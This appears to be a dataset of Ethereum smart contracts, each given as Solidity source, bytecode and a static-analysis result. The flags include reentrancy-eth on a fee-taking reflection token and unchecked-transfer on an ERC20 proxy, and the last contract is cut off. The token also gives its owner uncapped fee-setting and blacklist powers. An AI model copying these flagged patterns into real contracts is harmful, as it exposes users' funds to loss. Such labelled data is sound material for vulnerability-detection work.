uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610561578063dd62ed3e14610581578063ea1644d5146105c7578063f2fde38b146105e757600080fd5b8063a2a957bb146104dc578063a9059cbb146104fc578063bfd792841461051c578063c3c8cd801461054c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104555780638f9a55c01461047557806395d89b411461048b57806398a5c315146104bc57600080fd5b80637d1db4a5146103f45780637f2feddc1461040a5780638da5cb5b1461043757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101ab5780631694505e1461027b57806318160ddd146102b357806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196b565b610607565b005b34801561020a57600080fd5b5060408051808201909152601281527154686520436f6d6d697373696f6e2044414f60701b60208201525b6040516102429190611a30565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611a85565b6106a6565b6040519015158152602001610242565b34801561028757600080fd5b5060145461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b50670de0b6b3a76400005b604051908152602001610242565b3480156102e457600080fd5b5061026b6102f3366004611ab1565b6106bd565b34801561030457600080fd5b506102ca60185481565b34801561031a57600080fd5b5060405160098152602001610242565b34801561033657600080fd5b5060155461029b906001600160a01b031681565b34801561035657600080fd5b506101fc610365366004611af2565b610726565b34801561037657600080fd5b506101fc610385366004611b1f565b610771565b34801561039657600080fd5b506101fc6107b9565b3480156103ab57600080fd5b506102ca6103ba366004611af2565b610804565b3480156103cb57600080fd5b506101fc610826565b3480156103e057600080fd5b506101fc6103ef366004611b3a565b61089a565b34801561040057600080fd5b506102ca60165481565b34801561041657600080fd5b506102ca610425366004611af2565b60116020526000908152604090205481565b34801561044357600080fd5b506000546001600160a01b031661029b565b34801561046157600080fd5b506101fc610470366004611b1f565b6108c9565b34801561048157600080fd5b506102ca60175481565b34801561049757600080fd5b50604080518082019091526008815267434d534e54414d4160c01b6020820152610235565b3480156104c857600080fd5b506101fc6104d7366004611b3a565b610911565b3480156104e857600080fd5b506101fc6104f7366004611b53565b610940565b34801561050857600080fd5b5061026b610517366004611a85565b61097e565b34801561052857600080fd5b5061026b610537366004611af2565b60106020526000908152604090205460ff1681565b34801561055857600080fd5b506101fc61098b565b34801561056d57600080fd5b506101fc61057c366004611b85565b6109df565b34801561058d57600080fd5b506102ca61059c366004611c09565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d357600080fd5b506101fc6105e2366004611b3a565b610a80565b3480156105f357600080fd5b506101fc610602366004611af2565b610aaf565b6000546001600160a01b0316331461063a5760405162461bcd60e51b815260040161063190611c42565b60405180910390fd5b60005b81518110156106a25760016010600084848151811061065e5761065e611c77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069a81611ca3565b91505061063d565b5050565b60006106b3338484610b99565b5060015b92915050565b60006106ca848484610cbd565b61071c843361071785604051806060016040528060288152602001611dbd602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f9565b610b99565b5060019392505050565b6000546001600160a01b031633146107505760405162461bcd60e51b815260040161063190611c42565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079b5760405162461bcd60e51b815260040161063190611c42565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ee57506013546001600160a01b0316336001600160a01b0316145b6107f757600080fd5b4761080181611233565b50565b6001600160a01b0381166000908152600260205260408120546106b79061126d565b6000546001600160a01b031633146108505760405162461bcd60e51b815260040161063190611c42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c45760405162461bcd60e51b815260040161063190611c42565b601655565b6000546001600160a01b031633146108f35760405162461bcd60e51b815260040161063190611c42565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093b5760405162461bcd60e51b815260040161063190611c42565b601855565b6000546001600160a01b0316331461096a5760405162461bcd60e51b815260040161063190611c42565b600893909355600a91909155600955600b55565b60006106b3338484610cbd565b6012546001600160a01b0316336001600160a01b031614806109c057506013546001600160a01b0316336001600160a01b0316145b6109c957600080fd5b60006109d430610804565b9050610801816112f1565b6000546001600160a01b03163314610a095760405162461bcd60e51b815260040161063190611c42565b60005b82811015610a7a578160056000868685818110610a2b57610a2b611c77565b9050602002016020810190610a409190611af2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7281611ca3565b915050610a0c565b50505050565b6000546001600160a01b03163314610aaa5760405162461bcd60e51b815260040161063190611c42565b601755565b6000546001600160a01b03163314610ad95760405162461bcd60e51b815260040161063190611c42565b6001600160a01b038116610b3e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610631565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610631565b6001600160a01b038216610c5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610631565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610631565b6001600160a01b038216610d835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610631565b60008111610de55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610631565b6000546001600160a01b03848116911614801590610e1157506000546001600160a01b03838116911614155b156110f257601554600160a01b900460ff16610eaa576000546001600160a01b03848116911614610eaa5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610631565b601654811115610efc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610631565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3e57506001600160a01b03821660009081526010602052604090205460ff16155b610f965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610631565b6015546001600160a01b0383811691161461101b5760175481610fb884610804565b610fc29190611cbe565b1061101b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610631565b600061102630610804565b60185460165491925082101590821061103f5760165491505b8080156110565750601554600160a81b900460ff16155b801561107057506015546001600160a01b03868116911614155b80156110855750601554600160b01b900460ff165b80156110aa57506001600160a01b03851660009081526005602052604090205460ff16155b80156110cf57506001600160a01b03841660009081526005602052604090205460ff16155b156110ef576110dd826112f1565b4780156110ed576110ed47611233565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113457506001600160a01b03831660009081526005602052604090205460ff165b8061116657506015546001600160a01b0385811691161480159061116657506015546001600160a01b03848116911614155b15611173575060006111ed565b6015546001600160a01b03858116911614801561119e57506014546001600160a01b03848116911614155b156111b057600854600c55600954600d555b6015546001600160a01b0384811691161480156111db57506014546001600160a01b03858116911614155b156111ed57600a54600c55600b54600d555b610a7a8484848461147a565b6000818484111561121d5760405162461bcd60e51b81526004016106319190611a30565b50600061122a8486611cd6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a2573d6000803e3d6000fd5b60006006548211156112d45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610631565b60006112de6114a8565b90506112ea83826114cb565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133957611339611c77565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138d57600080fd5b505afa1580156113a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c59190611ced565b816001815181106113d8576113d8611c77565b6001600160a01b0392831660209182029290920101526014546113fe9130911684610b99565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611437908590600090869030904290600401611d0a565b600060405180830381600087803b15801561145157600080fd5b505af1158015611465573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114875761148761150d565b61149284848461153b565b80610a7a57610a7a600e54600c55600f54600d55565b60008060006114b5611632565b90925090506114c482826114cb565b9250505090565b60006112ea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b600c5415801561151d5750600d54155b1561152457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154d876116a0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157f90876116fd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ae908661173f565b6001600160a01b0389166000908152600260205260409020556115d08161179e565b6115da84836117e8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161f91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164d82826114cb565b82101561166957505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116935760405162461bcd60e51b81526004016106319190611a30565b50600061122a8486611d7b565b60008060008060008060008060006116bd8a600c54600d5461180c565b92509250925060006116cd6114a8565b905060008060006116e08e878787611861565b919e509c509a509598509396509194505050505091939550919395565b60006112ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f9565b60008061174c8385611cbe565b9050838110156112ea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610631565b60006117a86114a8565b905060006117b683836118b1565b306000908152600260205260409020549091506117d3908261173f565b30600090815260026020526040902055505050565b6006546117f590836116fd565b600655600754611805908261173f565b6007555050565b6000808080611826606461182089896118b1565b906114cb565b9050600061183960646118208a896118b1565b905060006118518261184b8b866116fd565b906116fd565b9992985090965090945050505050565b600080808061187088866118b1565b9050600061187e88876118b1565b9050600061188c88886118b1565b9050600061189e8261184b86866116fd565b939b939a50919850919650505050505050565b6000826118c0575060006106b7565b60006118cc8385611d9d565b9050826118d98583611d7b565b146112ea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610631565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080157600080fd5b803561196681611946565b919050565b6000602080838503121561197e57600080fd5b823567ffffffffffffffff8082111561199657600080fd5b818501915085601f8301126119aa57600080fd5b8135818111156119bc576119bc611930565b8060051b604051601f19603f830116810181811085821117156119e1576119e1611930565b6040529182528482019250838101850191888311156119ff57600080fd5b938501935b82851015611a2457611a158561195b565b84529385019392850192611a04565b98975050505050505050565b600060208083528351808285015260005b81811015611a5d57858101830151858201604001528201611a41565b81811115611a6f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9857600080fd5b8235611aa381611946565b946020939093013593505050565b600080600060608486031215611ac657600080fd5b8335611ad181611946565b92506020840135611ae181611946565b929592945050506040919091013590565b600060208284031215611b0457600080fd5b81356112ea81611946565b8035801515811461196657600080fd5b600060208284031215611b3157600080fd5b6112ea82611b0f565b600060208284031215611b4c57600080fd5b5035919050565b60008060008060808587031215611b6957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9a57600080fd5b833567ffffffffffffffff80821115611bb257600080fd5b818601915086601f830112611bc657600080fd5b813581811115611bd557600080fd5b8760208260051b8501011115611bea57600080fd5b602092830195509350611c009186019050611b0f565b90509250925092565b60008060408385031215611c1c57600080fd5b8235611c2781611946565b91506020830135611c3781611946565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb757611cb7611c8d565b5060010190565b60008219821115611cd157611cd1611c8d565b500190565b600082821015611ce857611ce8611c8d565b500390565b600060208284031215611cff57600080fd5b81516112ea81611946565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5a5784516001600160a01b031683529383019391830191600101611d35565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db757611db7611c8d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205dc760db710ca49e348e53da55a3db2e769d9a3a86beb85262ac77bb388b816e64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,378 |
0xe8d9b65dca1b23b61982ac1cf71bf895e4cafad3
|
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.8;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/GSN/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/access/Roles.sol
/**
* @title Roles
* @notice copied from openzeppelin-solidity
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: contracts/access/WhitelistAdminRole.sol
/**
* @title WhitelistAdminRole
* @notice copied from openzeppelin-solidity
* @dev WhitelistAdmins are responsible for assigning and removing Whitelisted accounts.
*/
contract WhitelistAdminRole is Context {
using Roles for Roles.Role;
event WhitelistAdminAdded(address indexed account);
event WhitelistAdminRemoved(address indexed account);
Roles.Role private _whitelistAdmins;
constructor () internal {
_addWhitelistAdmin(_msgSender());
}
modifier onlyWhitelistAdmin() {
require(isWhitelistAdmin(_msgSender()), "WhitelistAdminRole: caller does not have the WhitelistAdmin role");
_;
}
function isWhitelistAdmin(address account) public view returns (bool) {
return _whitelistAdmins.has(account);
}
function addWhitelistAdmin(address account) public onlyWhitelistAdmin {
_addWhitelistAdmin(account);
}
function renounceWhitelistAdmin() public {
_removeWhitelistAdmin(_msgSender());
}
function _addWhitelistAdmin(address account) internal {
_whitelistAdmins.add(account);
emit WhitelistAdminAdded(account);
}
function _removeWhitelistAdmin(address account) internal {
_whitelistAdmins.remove(account);
emit WhitelistAdminRemoved(account);
}
}
// File: contracts/access/WhitelistedRole.sol
/**
* @title WhitelistedRole
* @notice copied from openzeppelin-solidity
* @dev Whitelisted accounts have been approved by a WhitelistAdmin to perform certain actions (e.g. participate in a
* crowdsale). This role is special in that the only accounts that can add it are WhitelistAdmins (who can also remove
* it), and not Whitelisteds themselves.
*/
contract WhitelistedRole is Context, WhitelistAdminRole {
using Roles for Roles.Role;
event WhitelistedAdded(address indexed account);
event WhitelistedRemoved(address indexed account);
Roles.Role private _whitelisteds;
modifier onlyWhitelisted() {
require(isWhitelisted(_msgSender()), "WhitelistedRole: caller does not have the Whitelisted role");
_;
}
function isWhitelisted(address account) public view returns (bool) {
return _whitelisteds.has(account);
}
function addWhitelisted(address account) public onlyWhitelistAdmin {
_addWhitelisted(account);
}
function removeWhitelisted(address account) public onlyWhitelistAdmin {
_removeWhitelisted(account);
}
function renounceWhitelisted() public {
_removeWhitelisted(_msgSender());
}
function _addWhitelisted(address account) internal {
_whitelisteds.add(account);
emit WhitelistedAdded(account);
}
function _removeWhitelisted(address account) internal {
_whitelisteds.remove(account);
emit WhitelistedRemoved(account);
}
}
// File: contracts/acquisition/ITokenPool.sol
/**
* @title ITokenPool
* @notice provides interface for token pool where ERC20 tokens can be deposited and withdraw
*/
interface ITokenPool {
/**
* @notice deposit token into the pool from the source
* @param amount amount of token to deposit
* @return true if success
*/
function depositAssetToken(uint256 amount) external returns (bool);
/**
* @notice withdraw token from the pool back to the source
* @param amount amount of token to withdraw
* @return true if success
*/
function withdrawAssetToken(uint256 amount) external returns (bool);
}
// File: contracts/acquisition/ERC20TokenProxy.sol
/**
* @title ERC20TokenProxy
* @notice Proxy contract for managing ERC20 tokens with access control, so control can be shared between parties
*/
contract ERC20TokenProxy is WhitelistedRole {
constructor() public {
_addWhitelisted(msg.sender);
}
/**
* @notice invoke the transfer function of the specified token
* @param token the token being accessed
* @param to acount to transfer to
* @param value amount of tokens to transfer
* @return true if success
*/
function transfer(address token, address to, uint256 value) external onlyWhitelisted returns (bool) {
IERC20(token).transfer(to, value);
return true;
}
/**
* @notice invoke the appove function of the specified token
* @param token the token being accessed
* @param spender account to approve
* @param value amount to approve
* @return true if success
*/
function approve(address token, address spender, uint256 value) external onlyWhitelisted returns (bool) {
IERC20(token).approve(spender, value);
return true;
}
/**
* @notice invoke the transferFrom function of the specified token
* @param token the token being accessed
* @param from acount to transfer from
* @param to acount to transfer to
* @param value amount of tokens to transfer
* @return true if success
*/
function transferFrom(address token, address from, address to, uint256 value) external onlyWhitelisted returns (bool) {
IERC20(token).transferFrom(from, to, value);
return true;
}
/**
* @notice deposit token into a token pool
* @param poolAddress address of the token pool
* @param amount amount of token to deposit
* @return true if success
*/
function depositToTokenPool(address poolAddress, uint256 amount) external onlyWhitelisted returns (bool) {
return ITokenPool(poolAddress).depositAssetToken(amount);
}
/**
* @notice withdraw token from a token pool
* @param poolAddress address of the token pool
* @param amount amount of token to withdraw
* @return true if success
*/
function withdrawFromTokenPool(address poolAddress, uint256 amount) external onlyWhitelisted returns (bool) {
return ITokenPool(poolAddress).withdrawAssetToken(amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80637362d9c8116100715780637362d9c8146101b1578063904218ba146101d7578063bb5f747b14610203578063beabacc814610229578063d6cd94731461025f578063e1f21c6714610267576100b4565b806310154bad146100b95780631275b3bb146100e157806315dacbea14610121578063291d95491461015d5780633af32abf146101835780634c5a628c146101a9575b600080fd5b6100df600480360360208110156100cf57600080fd5b50356001600160a01b031661029d565b005b61010d600480360360408110156100f757600080fd5b506001600160a01b0381351690602001356102f4565b604080519115158252519081900360200190f35b61010d6004803603608081101561013757600080fd5b506001600160a01b038135811691602081013582169160408201351690606001356103ba565b6100df6004803603602081101561017357600080fd5b50356001600160a01b0316610494565b61010d6004803603602081101561019957600080fd5b50356001600160a01b03166104e3565b6100df6104fc565b6100df600480360360208110156101c757600080fd5b50356001600160a01b031661050e565b61010d600480360360408110156101ed57600080fd5b506001600160a01b03813516906020013561055d565b61010d6004803603602081101561021957600080fd5b50356001600160a01b03166105eb565b61010d6004803603606081101561023f57600080fd5b506001600160a01b038135811691602081013590911690604001356105fd565b6100df6106db565b61010d6004803603606081101561027d57600080fd5b506001600160a01b038135811691602081013590911690604001356106eb565b6102ad6102a8610814565b6105eb565b6102e85760405162461bcd60e51b8152600401808060200182810382526040815260200180610a4a6040913960400191505060405180910390fd5b6102f181610818565b50565b6000610306610301610814565b6104e3565b6103415760405162461bcd60e51b815260040180806020018281038252603a815260200180610a8a603a913960400191505060405180910390fd5b826001600160a01b031663cf8bfaca836040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561038757600080fd5b505af115801561039b573d6000803e3d6000fd5b505050506040513d60208110156103b157600080fd5b50519392505050565b60006103c7610301610814565b6104025760405162461bcd60e51b815260040180806020018281038252603a815260200180610a8a603a913960400191505060405180910390fd5b604080516323b872dd60e01b81526001600160a01b0386811660048301528581166024830152604482018590529151918716916323b872dd916064808201926020929091908290030181600087803b15801561045d57600080fd5b505af1158015610471573d6000803e3d6000fd5b505050506040513d602081101561048757600080fd5b5060019695505050505050565b61049f6102a8610814565b6104da5760405162461bcd60e51b8152600401808060200182810382526040815260200180610a4a6040913960400191505060405180910390fd5b6102f181610860565b60006104f660018363ffffffff6108a816565b92915050565b61050c610507610814565b61090f565b565b6105196102a8610814565b6105545760405162461bcd60e51b8152600401808060200182810382526040815260200180610a4a6040913960400191505060405180910390fd5b6102f181610957565b600061056a610301610814565b6105a55760405162461bcd60e51b815260040180806020018281038252603a815260200180610a8a603a913960400191505060405180910390fd5b826001600160a01b031663dfe93c59836040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561038757600080fd5b60006104f6818363ffffffff6108a816565b600061060a610301610814565b6106455760405162461bcd60e51b815260040180806020018281038252603a815260200180610a8a603a913960400191505060405180910390fd5b836001600160a01b031663a9059cbb84846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156106a557600080fd5b505af11580156106b9573d6000803e3d6000fd5b505050506040513d60208110156106cf57600080fd5b50600195945050505050565b61050c6106e6610814565b610860565b60006106f8610301610814565b6107335760405162461bcd60e51b815260040180806020018281038252603a815260200180610a8a603a913960400191505060405180910390fd5b836001600160a01b031663095ea7b384846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156106a557600080fd5b61079d82826108a8565b156107ef576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b3390565b61082960018263ffffffff61079316565b6040516001600160a01b038216907fee1504a83b6d4a361f4c1dc78ab59bfa30d6a3b6612c403e86bb01ef2984295f90600090a250565b61087160018263ffffffff61099f16565b6040516001600160a01b038216907f270d9b30cf5b0793bbfd54c9d5b94aeb49462b8148399000265144a8722da6b690600090a250565b60006001600160a01b0382166108ef5760405162461bcd60e51b8152600401808060200182810382526022815260200180610a286022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b61092060008263ffffffff61099f16565b6040516001600160a01b038216907f0a8eb35e5ca14b3d6f28e4abf2f128dbab231a58b56e89beb5d636115001e16590600090a250565b61096860008263ffffffff61079316565b6040516001600160a01b038216907f22380c05984257a1cb900161c713dd71d39e74820f1aea43bd3f1bdd2096129990600090a250565b6109a982826108a8565b6109e45760405162461bcd60e51b8152600401808060200182810382526021815260200180610a076021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff1916905556fe526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f206164647265737357686974656c69737441646d696e526f6c653a2063616c6c657220646f6573206e6f742068617665207468652057686974656c69737441646d696e20726f6c6557686974656c6973746564526f6c653a2063616c6c657220646f6573206e6f742068617665207468652057686974656c697374656420726f6c65a2646970667358221220a52604eaa996b26786a51a27bf9020d5a2ef4ff1f7e4d7c5cb6454eeeffb7df164736f6c63430006080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,379 |
0x197ad54648338ff265235c28fda966a637b13c63
|
/**
*Submitted for verification at Etherscan.io on 2021-02-12
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
contract AtomicTypes{
struct SwapParams{
Token sellToken;
uint256 input;
Token buyToken;
uint minOutput;
}
struct DistributionParams{
IAtomicExchange[] exchangeModules;
bytes[] exchangeData;
uint256[] chunks;
}
event Trade(
address indexed sellToken,
uint256 sellAmount,
address indexed buyToken,
uint256 buyAmount,
address indexed trader,
address receiver
);
}
contract AtomicUtils{
// ETH and its wrappers
address constant WETHAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IWETH constant WETH = IWETH(WETHAddress);
Token constant ETH = Token(address(0));
address constant EEEAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
Token constant EEE = Token(EEEAddress);
// Universal function to query this contracts balance, supporting and Token
function balanceOf(Token token) internal view returns(uint balance){
if(isETH(token)){
return address(this).balance;
}else{
return token.balanceOf(address(this));
}
}
// Universal send function, supporting ETH and Token
function send(Token token, address payable recipient, uint amount) internal {
if(isETH(token)){
require(
recipient.send(amount),
"Sending of ETH failed."
);
}else{
Token(token).transfer(recipient, amount);
require(
validateOptionalERC20Return(),
"ERC20 token transfer failed."
);
}
}
// Universal function to claim tokens from msg.sender
